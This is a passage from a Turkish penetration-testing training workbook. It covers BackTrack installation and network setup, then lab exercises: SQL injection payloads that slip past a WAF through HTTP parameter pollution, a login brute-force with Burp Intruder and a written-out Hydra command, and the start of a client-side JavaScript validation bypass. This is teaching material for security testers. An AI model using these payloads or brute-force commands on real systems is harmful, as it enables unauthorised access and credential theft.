  20. 20. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Adım Adım VMware Imajı Oluşturmak 1. ‘Home > Create a New Virtual Machine’ 2. ‘Installer Disc Image’ seçeneği ile Backtrack .iso yerel bilgisayarımızdan seçilir. 3. Backtrack Ubuntu tabanlı bir linux dağıtımı olduğu için, işletim sistemi olarak Linux ve version olarak Ubuntu seçilerek devam edilir.
  21. 21. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 4. Sanal işletim sistemine bir isim ve kurulum dizini tanımlanır. Kurulum dizini varsayılan ayarlarla bırakılabilir. 5. Disk kapasitesi ön tanımlı olarak 20 GB gelmektedir. Çalışma süresince 20 GB ideal bir disk alanıdır. İhtiyacınıza gore bu değeri arttırabilirsiniz.
  22. 22. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 6. Son adımda oluşturulacak VMware imajının ayarları özetlenmektedir. Kurulum sihirbazında bizim belirlediğimiz değerler dışında, RAM varsayılan olarak 1024 MB, 1 CPU ve ağ arabirimi NAT modunda tanımlanmaktadır. Kurulum tamamlanmadan ‘Customize Hardware’ seçeneği ile sanal donanım bileşenlerinde değişiklikler yapılabilir. Donanım özelliklerinize gore bu değerleri arttırabilirsiniz. Kurulum tamamlanmadan once RAM 2 GB, 2 core CPU ve ağ arabirimi Bridge mod olarak tanımlanmıştır. Bu aşamdan sonra VMware imajı başarıyla oluşturuldu. Kuruluma için ‘Play virtual machine’ butonuna tıklayarak başlayabiliriz.
  23. 23. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Adım Adım Backtrack Kurulumu Backtrack dağıtımı bir çok farklı çalışma prensibine sahiptir. Diske kurulum için birinci sırada bulunan ‘Default Boot’ seçeneği ile devam edilir. Sistem açılışında komut satırı ile karşılaşacaksınız. Bu aşamdan sonra grafik arabirime geçmek için ‘startx’ komutu çalıştırılır. Backtrack masaüstünde bulunan ‘Install BackTrack’ çift tıklanarak kurulum sihirbazı başlatılır. 1. İlk aşamada kurulum diliseçilir.Kurulum dilleri arasındaTürkçe’de bulunmaktadır fakat biz İngilizce ile devam edeceğiz.
  24. 24. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 2. Bölgesel dil ayarları, bulunduğunuz konuma uygun olarak seçebilirsiniz. Seçim için haritayıda kullanabilirsiniz. 3. Bu adımda klavye dili ayarları tanımlanır.Seçenekler arasında Türkçe dil ayalarıda bulunuyor. Seçim yaptıkdan sonra sol alt kutucuğu test için kullanabilirsiniz.
  25. 25. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 4. Disk seçimi 5. Son aşamada kurulum özetini gözden geçirip, herşey yolundayse ‘install’ seçeneği ile diske kurulumu başlatabiliriz. Kurulum otomotik olarak tamamlanacaktır.
  26. 26. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Kurulum tamamlandıkdan sonra sistemi yeniden başlatınız. Backtrack VMwareİmajıKullanımı Yukarıdaki indirme sayfasından, Backtrack VMware Imajı indirilerek kolaylıkla kullanılabilir. BT5R3-GNOME-VM-32.7z sıkıştırılmış bir dosyadır. 7zip veya winrar arşiv yöneticisi programlarından biri aracılığı ile arşiv dosyası açılabilir. VMware Player > Home > Open a Virtual Machine seçeneği ile BT5R3-GNOME-VM-32.vmx dosyası seçilerek içeri aktarma işi tamamlanır.
  27. 27. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Bu işlemden sonra Backtrack VMware Player ortamına aktarılmış ve kullanıma hazırdır. ‘Play Virtual Machine’ butonu ile işletim sistemi başlatılır. Güncelleme Backtrack linux dağıtımı ve hali hazırda kurulu gelen bir çok yazılım sürekli güncellenmekde ve yeni yazılımlar eklenmektedir. Backtrack Linux dağıtımını ve kurulu uygulamaları sürekli güncel tutmak ve yeni yazılımlarda pratiklik kazanmak en önemli gereksinimlerimizdendir. Paket Deposunu Güncelleme Backtrack Linux dağıtımı kendi depolarına sahiptir. Depoların listesine aşağıdaki komutla ulaşabilirsiniz. - Bu yalnıca bilgi amaçlıdır, güncelleme ile doğrudan bir ilişkisi yoktur. – # cat /etc/apt/sources.list deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing deb http://32.repository.backtrack-linux.org revolution main microverse non-free testing #deb http://source.repository.backtrack-linux.org revolution main microverse non-free testing deb http://updates.repository.backtrack-linux.org revolution main microverse non-free testing
  28. 28. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Depodaki güncellemeleri almak için aşağıdaki komut çalıştırılır. # apt-get update Uygulama Güncelleme Tek bir uygulamayı yeni versiyonuna yükseltme veya yazılımın eksikliklerini gidermek için yayımlanan güncellemeleri yüklemek için aşağıdaki komut kullanılır. # apt-get upgrade <paket_adı>
  29. 29. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Örnek Uygulama Güncelleme # apt-get upgrade nmap Backtrack Linux Dağıtımını Güncelleme Backtrack Linux dağıtımı her geçen yıl geliştirilmekte, yeni uygulamalar eklenip/çıkarılmakta, yeni driverlar ve çeşitli linux güncellemeleri içermektedir. Sahip olduğunuz Backtrack Linux dağıtımını yeni sürümünü yükseltmek için aşağıdaki komut kullanılır. # apt-get dist-upgrade Backtrack Linux Dağıtımı Genel Ayarları Hostname Backtrack Linux dağıtımının makina adı ‘hostname’ komutu ile öğrenilebilir. # hostname Makina adı aşağıdaki şekilde değiştirilir # hostname pentest Password Backtrack Linux işletim sisteminde bulunan bir kullanıcının parolasını değiştirmek için aşağıdaki komut kullanılır. # passwd kullanıcı_adı
  30. 30. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Backtrack Linux işletim sisteminde bulunan kullanıcı bilgileri hakkında /etc/passwd /etc/shadow dosyalarında parola bilgisi dahil olmak üzere bilgi edinilebilir. Klavye Backtrack Linux işletim sisteminde bulunan klavye ayarları aşağıdaki komut ile anlık olarak değiştirilebilir. değiştirilebilir., # setxkbmap tr Bu değişiklik sadece oturum süreniz boyunca geçerli olacaktır. Backtrack yeniden başlatıldığında ayarlar kaybolur. Klavye ayarlarını kalıcı olarak değiştirmek için; System > Preferences > Keyboard menüsü açılır. Açılanmenünün sol baştan ikinci sekmesiolan ‘Layouts’sekmesinegeçiş yapılır. Bu pencerede ‘Add’ butonuna tıklanarak açılan yeni pencereden ‘Country: Turkey’ olarak seçilir ve ‘Add’ butonuna tıklanarak listeyeeklenir. ‘USA’ dile seçeneğineihtiyacınız yoksa bu seçimi‘Remove’ butonu ile kaldırabilirsiniz.
  31. 31. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Klavyenizi test etmek için pencerenin en altında bulunan ‘Type to test settings’ bölümünü kullanabilirsiniz. Ekran Çözünürlüğü VMware aracılığı ile kullandığınız işletim sistemlerinde eğer vmtools kurulu değilse ekran görüntü çözünürlüğünü değiştirmede sorunlar yaşarsınız. VMware aracılığıyla kullandığınız işletim sistemlerine mutlaka vmtool kurmanızı öneririm. Backtrack Linux dağıtımında ekran çözünürlüğünü değiştirmek için aşağıdaki menu yolunu tıklayınız; ‘System > Preferences > Monitors’ penceresinden ‘Resolution’ sekmesi kullanılarak size uygun çözünürlüğü ayarlayabilirsiniz. Network Ayarları Ağ ayarlarını diğer tüm sistemlerde olduğu gibi sabit olarak veya bulunduğunuz ortamda otomotik IP dağıtan bir dhcp sunucu varsa dinamik olarak tanımlanabilir. Ağ ayarlarını yapmadığınız durumda, dahil olduğunuz bir ağdaki diğer sistemlerle haberleşemezsiniz. Dhcp ile IP Almak Bulunduğunuz ortamdaki dhcp sunuculardan IP almak için, ‘dhclient’ komutunu kullanabilirsiniz.
  32. 32. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Yukarıda görüldüğü gibi, bulunduğum ağdaki 6.6.6.1 sunucusu bana IP isteği için yanıt verdi ve ‘6.6.6.101’ IP adresini tahsis etti. Sabit IP Ataması Linux sistemlerde ağ ayarları ‘ifconfig’ komutu ve parametreleri ile yönetilir. Ağ ayarlarını görüntülemek ve değişiklikler yapmak için ‘ifconfig’ komutu kullanılır. Kullanılabilir ağ arabirimlerini görüntümek için ‘ifconfig –a’ yazmanız yeterli olacaktır. Görüldüğü üzere ‘eth1’ ve ‘lo’ ağ arabirimlerine sahibiz. Farklı sistemlerde ‘eth1’ yerine ‘ethx’ olabilir. Bu aşamadan sonraki ayarları mevcut ağ arabiriminizin adını öğrenerek devam edin. Örnek olarak, eth1 ağ arabirimine 1.1.1.100 ip adresini tanımlayacağım. # ifconfig eth1 1.1.1.100 Bir ağ arabirimi ayarlarını görüntülemek için hatırlayacağınız üzere ifconfig komutu kullanabiliriz.
  33. 33. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Gateway Tanımlama Yalnızca IP adresi tanımlamak yerel ağdaki sistemlerle haberleşmek için yeterli. Fakat internete çıkmak için varsayılan ağ geçici (Gateway) tanımlamamız gerekiyor. Bu örnekde, eth1 ağ arabirimi üzerinden internete çıkmak istediğimde varsayılan ağ geçici olarak 1.1.1.1 ip adresini tanımlayacağım. 1.1.1.1 ip adresi size internete bağlayacak modem/firewall/router ip adresi olarak düşünebilirsiniz. # route add default gw 1.1.1.1 Değişiklik başarıyla gerçekleştikden sonra, ayarları görüntülemek için ‘route –n’ komutunu kullanabilirsiniz. Bu komut sizing routing tablonuzu görüntüleyecektir. # route –n Yukarıdaki resimde yer aldığı gibi, bilinmeyenlerin çıkış noktası (default gateway) 1.1.1.1 olarak tanımlanmıştır. DNS Tanımlama DNS kaydı isimçözme işlevini gerçekleştirecek IP adreslerini içermelidir. Linux sistemlerde dns sunucuların bilgisi ‘/etc/resolv.conf’ dosyasında tutulur. Dosyas içeriği ‘cat’ komutu ile öğrenilebilir ve yazım formatı aşağıdaki gibidir # cat /etc/resolv.conf nameserver dns_sunucu_ip_adresi_1 nameserver dns_sunucu_ip_adresi_2
  34. 34. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Değişiklik için bu dosyanın düzenlenmesi gerekmektedir. Backtrack Linux işletim sisteminde gedit,nano,vi vb. metin editörleri ile bu dosya düzenlenebilir. Görsellik ve kolay kullanıma sahip olduğu için ‘gedit’ metin editörünü tercih edeceğiz. Bu örnekte 8.8.8.8 ve 4.2.2.4 dns adresleri tanımlanmıştır. # gedit /etc/resolv.conf Static Route Kaydı Girme Network Ayarlarının Test Edilmesi Sabit IP ayarları, IP adresinin tanımlanması, Varsayılan Ağ Geçidi ve DNS Kaydı ile son buldu. Ağ ayarlarını test etmek için aşağıdaki adımlar pratik olarak kullanılabilir. Yerel ağdaki sistemlere erişimimiz var mı ? Yerel ağdaki bir sistemping paketleri göndererek öğrenebiliriz. # ping 1.1.1.1 -c 3 PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data. 64 bytes from 1.1.1.1: icmp_seq=1 ttl=64 time=6.65 ms 64 bytes from 1.1.1.1: icmp_seq=2 ttl=64 time=2.16 ms 64 bytes from 1.1.1.1: icmp_seq=3 ttl=64 time=1.62 ms --- 1.1.1.1 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2003ms rtt min/avg/max/mdev = 1.621/3.481/6.653/2.254 ms Yukarıdaki gibi ping paketlerine yanıt alıyorsak, herşey başarılı yerel ağ ile iletişimimiz mevcut. Eğer yanıt alamıyorsanız, hedef system ping paketlerine yanıt vermiyor olabilir veya ağ bağlantınızda bir problem olabilir. Bu kontrolleri en baştan tekrar yapın. İnternet erişimimiz var mı ? Bu işlem için iki farklı yöntem kullanabiliriz. 1. İnternette ping paketlerine yanıt veren bir sisteme ping atmak. # ping 8.8.8.8 -c 3 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
  35. 35. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 64 bytes from 8.8.8.8: icmp_seq=1 ttl=47 time=77.6 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=47 time=81.1 ms --- 8.8.8.8 ping statistics --- 3 packets transmitted, 2 received, 33% packet loss, time 2004ms rtt min/avg/max/mdev = 77.661/79.408/81.155/1.747 ms 2. İnternette bulunan IP adresini bildiğiniz bir web sunucuya bağlantı kurarak. DNS sunucu isim çözüyor mu ? Bu işlem için ‘nslookup’ ve ‘dig’ araçları kullanılabilir. # nslookup cehturkiye.com # dig A google.com
  36. 36. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Ayrıca bir internet tarayıcısı ile (firefox gibi) internette bağlanabiliyorsanız da dns sunucunuz çalışıyor demektir. Network Ayarlarının Kalıcı Hale Getirilmesi Yukarıda yaptığımız ayarlar işletim sistemi yeniden başlatıldığında kaybolacaktır. Backtrack Linux dağıtımında network ayarları ‘/etc/network/interfaces’ dosyasında tutulmaktadır. Ayarların kalıcı olabilmesi için aşağıdaki formata uygun olarak yazılmalıdır. auto eth1 iface eth1 inet static address 1.1.1.1 netmask 255.0.0.0 network 1.1.1.0 broadcast 1.1.1.255 gateway 1.1.1.1 Örnek uygulama
  37. 37. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Değişiklikler kaydedildikden sonra ağ ayarlarının her açılışta otomotik olarak çalışması için son olarak aşağıdaki iki komutu çalıştırmanız yeterlidir. # update-rc.d networking defaults # /etc/init.d/networking restart Kablosuz Ağ Ayaları Backtrack Linux dağıtımını vmware aracılığı ile kullanıyorsanız fiziksel kablosuz ağ arabirimini (wireless) tanımlayamazsınız. Sanallaştırma platformları (vmware,virtualbox vb.) bu kitap yazılırken fiziksel kablosuz ağları sanal işletim sistemine yine kablosuz ağ arabirimi olarak aktaramamaktadırlar. Yalnızca USB Kablosuz ağ cihazlarını takıp kullanabilirsiniz. Aşağıdaki gibi bir usb kablosuz ağ cihazı kablosuz ağlara bağlanmak için idealdir.
  38. 38. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Backtrack Linux dağıtımını, sanallaştırma platformu kullanmadan direkt diske kurup kullanıyorsanız fiziksel makinanızın kablosuz ağ arabirimini görecektir. USB cihazı fiziksel donanımınıza taktıkdan sonra vmware sanallaştırma platformunda çalışan Backtrack Linux dağıtımına aktarmak için Player > Removable Devices > ‘USB Cihaz Adı’ > Connect Sanal işletim sistemine usb wireless cihaz aktarıldıkdan sonra komut satırından ‘iwconfig’ komutu ile kablosuz ağ arabirimi görüntülenebilir. # iwconfig
  39. 39. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Resimde görüldüğü üzere, ‘wlan0’ olarak isimlendirilmiş. Farklı sistemlerde farklı numaralarla isimlendirilebilir. Backtrack Linux dağıtımında kablosuz ağları yönetmek için ‘Wicd Network Manager’ yazılımı bulunmaktadır. Bu yazılım aracılığıyla kablosuz ağlar yönetilebilir. ‘Applications > Internet > Wicd Network Manager’ sekmesinden açılabilir.
  40. 40. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Programdan bir görünüm Önemli Not: Eğer kablosuz ağ arabiriminizin adı wlan0 değilde farklı bir isimle (örneğin: wlan1 gibi) yer alıyorsa Wicd Network Manager > Preferences penceresinden ‘Wireless interface’ değerini değiştirmeniz gerekmektedir.
  41. 41. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Backtrack Temel Ayarları Vmware Fusion/Player üzerinde kurulu backtrack işletimsistemimiz ile ilgilibazıtemel ayarlar: Backtrack sisteme bridge modda IP adresi aldırmak; Bu şekilde configre edilmiş sistemaçıldığında otomatik dhcp den IP almış olarak açılır. Tekrar aldırılmak istenirse dhclient komutu kullanılabilir;
  42. 42. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity IP adresi,ağ maskesi(netmask) ve varsayılan ağ geçidi(default gateway) elle verilmek istenirse aşağıdaki komutlar kullanılabilir;
  43. 43. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Yukarıda verilmiş bilgiler sistem yeniden başlatıldığında silinecektir.IP adresi,ağ maskesi,varsayılan ağ geçidi kalıcı olarak sisteme verilmek istenirse /etc/network/interfaces dosyası aşağıdaki gibi düzenlenmelidir.
  44. 44. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity İlgilideğişiklikleryapıldıktan sonra network servisleriyeniden başlatılmalıdır.Bunun içinkomut satırından /etc/init.d/networking restart komutu verilebilir.
  45. 45. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Web Application Pentest Lab Uygulamaları Uygulama No: BGA-WPT-01 Uygulama Adı: HTTP Parameter Pollution Kullanarak WAF Atlatma Amaç: Hedef web uygulamasında tespit edilen ya da bulunduğu varsayılan bir zafiyetin istismar edilmesini engelleyen, WAF(Web Application Firewall) cihazını, HPP(HTTP parameter pollution) zafiyetini kullanarak atlatmak ve zafiyeti istismar edebilmek. Lab senaryosu: HTTP parameter pollution açıklığı ile WAF tarafından korunan sistemin atlatılması Kullanılan Araçlar: ● Iceweasel 18 ● PHP veya ASP.NET destekleyen bir web sunucusu Adımlar: 1. Adım: İlk olarak, istismar edilmek istenilen zafiyetin payloadının, WAF tarafından engellendiğinin tespit edilmesi gerekmektedir. Örnek olarak “ index.php?pageID=15’ “ şeklinde çağrıldığında sql hatası döndüren bir web uygulaması “index.php?pageID=15 union select user() --” istismar koduna özel bir hata mesajı döndürür veya hiç tepki vermezse, arada yüksek ihtimalle WAF görevi gören bir sistembulunuyor denilebilir. 2. Adım: Sunucu tarafındaki web teknolojisinin, HTTP parametrelerini yorumlama şekline göre, istismar kodunun payload bölümünü yeniden şekillendirerek WAF atlatılmaya çalışılır. Bu aşamada aşağıdaki tablo faydalı olabilir.
  46. 46. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity tabloda da görüldüğü üzere, PHP sunucuları HTTP parametrelerini yorumlarken, aynı isimli parametreler varsa, sadece sonuncuyu değerlendirmeye almaktadır. Hedef sistemdeki WAF’ın aynı isimli parametrelerden ilkini değerlendirmeye aldığı bir durumda yeni istismar kodumuz şu şekilde olacaktır: “ index.php?pageID=15&pageID=15 unionselect user()-- “. BenzerşekildebirASP.NETuygulamasıiçin “list.aspx?id=10’ union select null,null,user,pass from users--” şeklindeki bir sqli istismarını “list.aspx?id=10’unionselect null&id=null&id=user&id=passfromusers--” olarakdeğiştirerekWAF’ı atlatmak mümkün olabilir. Çünkü tabloda da görüldüğü üzere, asp.net ikinci URL’deki aynı isimli parametreleri “,”(virgül)ile birleştirerekgeçerlibirsql sorgusuoluşmasınısağlayacaktır.
  47. 47. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-WPT-02 Uygulama Adı: HTML Form Tabanlı Kaba Kuvvet Saldırıları Amaç: Hedef sistemdeki captcha kullanmayan giriş formuna, kaba kuvvet saldırısı yaparak kullanıcı veya yönetici parolalalarını kırmak. Lab senaryosu: Herhangi bir web teknolojisi ile hazırlanmış giriş formu kullanılabilir. Örnekte “username” ve “pass” isimlerinde iki inputu ve “giris” isminde bir butonu olan, bir html form ve doğru parola kontrolünü yapan bir php script’i ile hazırlanmış bir giriş sayfası kullanılmıştır. Kullanılan Araçlar: ● Burp Suite Free 1.5 ● Hydra 7.4.2 ● FireBug 1.11.4 Adımlar: Burp Suite ile kaba kuvvet saldırısı: 1. Adım: Burp Suite uygulaması çalıştırılarak, web tarayıcısı proxy olarak 127.0.0.1:8080 kullanacak şekilde ayarlanır. Tarayıcıdan, hedef giriş ekranının bulunduğu sayfaya bağlanılır. Örnek lab ortamında bu “http://localhost/test.php” dir. Form doldurulup giriş butonuna basılır ve Burp Suite’in Proxy sekmesinin Intercept alt sekmesinde sunucuya gönderilemeden kesilmiş olan istek görülür. Burada sağ click işleminden sonra -> send to intruder” şeklinde istek Burp Suite’in Intruder eklentisine gönderilir.
  48. 48. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 2. Adım: Intruder sekmesinde 1. adımda yakalanan isteğin POST verisine özel karakterler eklenmiş hali görülür. “Clear §” ile bütün payload noktaları temizlenip, daha sonra sadece kullanıcı adı ve parola alanları seçilip “Add §” ile işaretlenir. “Attack Type” alanı, “Cluster Bomb” olarak seçilir. Bu sayede, kullanıcı adı ve parola alanları için ayrı listeler kullanılabilir. Eğer, saldırı tek bir kullanıcı için gerçekleştirilecekse, bu alan Spider olarak seçilip, POST verisi üzerinde, sadece parolaya ait alan § karakteri ile işaretlenir.
  49. 49. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 3. Adım:Payload sekmesinde payload set 1 için “simple list” seçilir ve payload ptions bölümünden Load denilerek kullanıcı adlarının bulunduğu liste yüklenir. Payload set 2 için yine simple list kullanılabileceği gibi, eldeki wordlist’lerin yetersiz kaldığı durumlarda, diğer seçenekler de denenebilir. 4. Adım: Üst menüden Intruder->Start attack tıklanarak saldırı başlatılır. Attack penceresinde; yapılan istekler, dönen cevap, http kodu, boyutu ya da timeout süresi gibi değerler bulunur. Burada, doğru şifre için dönen cevabın boyutunun farklı olmasından dolayı, doğru şifre rahatlıkla ayırt edilebilir.
  50. 50. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 5. Adım Hedefin, herhangi bir geçerli kullanıcı adı - parola eşleşmesi bulmak olduğu durumlarda, Pitchfork saldırı türü daha kısa sürede sonuca götürebilir. İlk örnekten farklı olarak, Intruder sekmesinin “Positions”altsekmesinde, “Attack type” olarak “Pitchfork” seçilir. Payloads sekmesinde, Payload set 1 ve 2 için simple list seçilip, ikisine de kullanıcı adlarını içerecek liste yüklenir. Daha sonra payload set 2 (parola alanına denk gelen) için “Payload Processing” bölümünden, eldeki kullanıcı adlarından yaygın olarak kullanılan şifreleri üretecek ayarlar yapılabilir. Örnek olarak, kullanıcı adlarını sonuna 123 ekleyip şifre olarak denemek için “Add-> Add suffix -> 123” ayarı yapılır.
  51. 51. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Pitchfork saldırı tipinin özelliği, iki farklı payload kümesinin tüm kombinasyonlarını denemek yerine, her iterasyonda bire bir eşleşme yapmasıdır. Anlatılan yöntemin örnek çıktı şu şekildedir. Hydra ile kaba kuvvet saldırısı 1. Adım: İlk olarak, giriş formunda gönderilen isteğin hangi HTTP metodunu kullandığı (POST,GET), kullanıcı adı ve parola parametrelerinin isimleri ve formun geçerli sayılması için başka zorunlu parametreler varsabunların tespit edilmesigerekir. Bu aşamada, ya HTML formunun kodlarına bakarak, bu bilgiler elde edilir ya da bir web proxy uygulaması ile isteğin hazır hali alınabilir. Üçüncü ve pratik bir seçenek de firebug gibi bir tarayıcı eklentisi ile sunucuya giden isteğin yakalanmasıdır. Hedef sayfa açılıp, Firebug eklentisi çalıştırılır. Firebug’ın Net sekmesine gelinip, aktif değilse aktif edilir. Giriş formu doldurulup yollanır. “Firebug Net” penceresinde yapılan istek görülür.
  52. 52. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Ayrıca, sayfanın hatalı girişlerde görünüp, başarılı girişlerde görünmeyen bir bölümü tespit edilmedilir. Yanlış kullanıcı adı veya şifre mesajı ya da giriş formunun bir parçası, bu amaçla seçilebilir. 2. Adım: Hydra şu parametrelerle çalıştırılır. hydra -P password.txt (denenecek parolaların listesi, -p ile tek şifre de belirtilebilir.) -l bga (denenecek kullanıcı adı, -L ile liste de belirtilebilir.) -t 3 (çalışacak thread sayısı) localhost (hedef adres) http-form-post (kullanılacak modül, http(s)-form-get/post modülleri mevcut.) "/test.php:username=^USER^&pass=^PASS^&giris=Giriş:Yanlış Şifre" (hedef sayfa:kullanıcı adı parametresi=^USER^&parola parametresi=^PASS^&diğer parametreler ve değerleri:Hatalı giriş mesajı) -v (detayları göster) -V (denemeleri göster) Örn: hydra -P passwords.txt -l bga -t 3 localhost http-form-post "/test.php:username=^USER^&pass=^PASS^&giris=Giriş:Yanlış Şifre" -v -V
  53. 53. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-WPT-03 Uygulama Adı: İstemci Tarafı Güvenlik Korumalarını Aşma - Java Script Amaç: Hedef web uygulamasında, istemci tarafında javascript ile geliştirilmiş güvenilk önlemlerini aşarak, sunucuya istekleri bu önlemlerden etkilenmeden göndermek. Lab senaryosu: Javascript ile kullanıcı adını kontrol edip, özel karakterler varsa, formun gönderilmesine izin vermeyen bir giriş ekranı ve form gönderildiğinde kullanıcı adı ve şifreyi ekrana basan sunucu taraflı bir betik. Kullanılan Araçlar: ● Firebug 1.11.4 ● Burp Suite Free 1.5 Adımlar: Firebug Kullanarak Çalışma Anında Scripti Manipüle Etme Yöntemi 1. Adım: Hedef sayfaya, Firebug(veya benzeri bir araç) kurulu bir tarayıcıdan bağlanılır. Örnek uygulamada, giriş ekranında, kullanıcı adı bölümüne, “sqli denemesi” yapılmak istenildiğinde “geçersiz kullanıcı adı” hatasıyla karşılaşılır.
  54. 54. [WEB/MOBİL UYGULAMA GÜVENLİK TESTLERİ EĞİTİMİ UYGULAMA KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Kullanıcı adı kutusuna, sağ tıklayıp “Inspect Element with Firebug” tıklanarak, kontrolü yapan js fonksiyonu tespit edilir(örnekte “validateUserName”). Firebug’ın “Scripts” sekmesinde ilgili fonksiyon bulunur. Fonksiyonun ilk satırına, kesme noktası(breakpoint) konulur ve tekrar “Giriş” butonuna basılır. Bu sefer hata mesajına gelmeden, tarayıcı kesme noktasında duracaktır.
